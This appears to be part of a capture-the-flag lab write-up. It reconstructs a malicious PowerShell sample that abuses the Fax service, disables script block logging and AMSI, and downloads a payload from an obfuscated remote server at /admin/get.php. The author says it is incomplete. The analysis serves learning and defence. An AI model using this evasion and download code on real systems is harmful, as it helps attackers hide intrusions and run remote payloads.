TryHackMe – Investigating Windows 3.x writeup

# Start the Fax service
sc.exe start Fax

# Set the FTP server and port
$FTPServer = "localhost"
$FTPPort = "9299"

# Create a TCP connection to the FTP server
$tcpConnection = New-Object System.Net.Sockets.TcpClient($FTPServer, $FTPPort)
$tcpStream = $tcpConnection.GetStream()
$reader = New-Object System.IO.StreamReader($tcpStream)
$writer = New-Object System.IO.StreamWriter($tcpStream)
$writer.AutoFlush = $true

# Define a list of commands to send to the FTP server
$commands = @(
    "DQA=",

# --- (start of the second Base64 encoded payload) ---
# Kill the process with the name "FXSSVC"
(Get-Process FXSSVC).Kill()

# Remove the file at 'C:\Windows\System32\ualapi.dll'
Remove-Item -Path 'C:\Windows\System32\ualapi.dll'

# Check if PowerShell version is 3 or higher
if ($PSVersionTable.PSVersion.Major -ge 3) {
    # Get the field 'cachedGroupPolicySettings' from 'System.Management.Automation.Utils' assembly
    $field = [ref].Assembly.GetType('System.Management.Automation.Utils').GetField('cachedGroupPolicySettings', 'NonPublic,Static')
    
    if ($field) {
        # Get the value of the field
        $cachedSettings = $field.GetValue($null)
        
        if ($cachedSettings['ScriptBlockLogging']) {
            # Disable ScriptBlockLogging and ScriptBlockInvocationLogging
            $cachedSettings['ScriptBlockLogging']['EnableScriptBlockLogging'] = 0
            $cachedSettings['ScriptBlockLogging']['EnableScriptBlockInvocationLogging'] = 0
        }
        
        # Create a new dictionary to store settings
        $settings = [Collections.Generic.Dictionary[String,System.Object]]::new()
        $settings.Add('EnableScriptBlockLogging', 0)
        $settings.Add('EnableScriptBlockInvocationLogging', 0)
        
        # Update the registry key 'HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging' with the new settings
        $cachedSettings['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging'] = $settings
    } else {
        # If the field is not found, set 'signatures' field of 'ScriptBlock' class to an empty hash set
        [ScriptBlock].GetField('signatures', 'NonPublic,Static').SetValue($null, (New-Object Collections.Generic.HashSet[String]))
    }
    
    # Disable AMSI (Antimalware Scan Interface) by setting 'amsiInitFailed' field to $true
    $amsiUtils = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
    $amsiUtils.GetField('amsiInitFailed', 'NonPublic,Static').SetValue($null, $true)
}

# Disable 'Expect: 100-Continue' header for HTTP requests
[System.Net.ServicePointManager]::Expect100Continue = 0

# Create a new WebClient object
$client = New-Object System.Net.WebClient

# Set the User-Agent header
$userAgent = 'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko'
$client.Headers.Add('User-Agent', $userAgent)

# Set the proxy configuration
$client.Proxy = [System.Net.WebRequest]::DefaultWebProxy
$client.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials
$Script:Proxy = $client.Proxy

# Set the request URL and path
$server = [Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('aAB0AHQAcAA6AC8ALwAzADQALgAyADQANQAuADEAMgA4AC4AMQA2ADEAOgA5ADAAMAAxAA=='))
$path = '/admin/get.php'

# Add a Cookie header
$client.Headers.Add('Cookie', 'RjMeek=ZmQLHacMBXrLcB+VElvLcwO26EY=')

# Download data from the server
$data = $client.DownloadData($server +

# --- (end of the second Base64 encoded payload) ---
,
    "DQA="
)

while ($tcpConnection.Connected) {
    while ($tcpStream.DataAvailable) {
        $reader.ReadLine()
    }
    
    if ($tcpConnection.Connected) {
        For ($i = 0; $i -lt 5; $i++) {
            ForEach ($str in $commands) {
                Start-Sleep -Seconds 1
                $command = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($str))
                $writer.WriteLine($command) | Out-Null
            }
        }
        break
    }
}

$reader.Close()
$writer.Close()
$tcpConnection.Close()

(I think I may have missed a couple of strings while putting back together the two decoded payloads from my notes, but the point was not to provide the entire working code but just to show the relevant information to answer the questions and give an overall feel of what the script does).